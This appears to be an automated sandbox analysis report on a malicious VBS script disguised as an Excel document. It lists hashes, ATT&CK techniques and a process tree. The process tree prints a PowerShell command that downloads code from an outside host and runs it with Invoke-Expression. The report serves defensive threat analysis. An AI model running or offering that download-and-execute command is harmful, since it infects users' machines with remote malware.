5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

Resubmissions

12-08-2024 11:41

240812-ntgelazapr 8

08-05-2024 15:00

240508-sdtr7sab2w 8

05-04-2024 15:07

240405-shpdaafc3v 10

04-04-2024 20:19

240404-y3t26aaa37 10

Analysis

max time kernel
65s
max time network
67s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
08-05-2024 15:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

EXCEL_DOCUMENT_OPEN.vbs
Size

23KB
MD5

6925ed4c3665b27592c356b0bbd4948d
SHA1

7429a3929f68c87af85266c5d304f3e26e11a8c0
SHA256

5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
SHA512

333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
SSDEEP

384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4724	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4724	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4724	powershell.exe
4724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4724	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 4724	1840	WScript.exe	89
PID 1840 wrote to memory of 4724	1840	WScript.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4204,i,10373433614523925616,13586256558317053467,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:8
1⤵
PID:4700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jqusglk.fhm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4724-0-0x00007FF9395C3000-0x00007FF9395C5000-memory.dmp

Filesize
8KB

Download
memory/4724-1-0x000001E0B70D0000-0x000001E0B70F2000-memory.dmp

Filesize
136KB

Download
memory/4724-11-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

Filesize
10.8MB

Download
memory/4724-12-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

Filesize
10.8MB

Download
memory/4724-13-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

Filesize
10.8MB

Download
memory/4724-14-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

Filesize
10.8MB

Download
memory/4724-16-0x00007FF9395C0000-0x00007FF93A081000-memory.dmp

Filesize
10.8MB

Download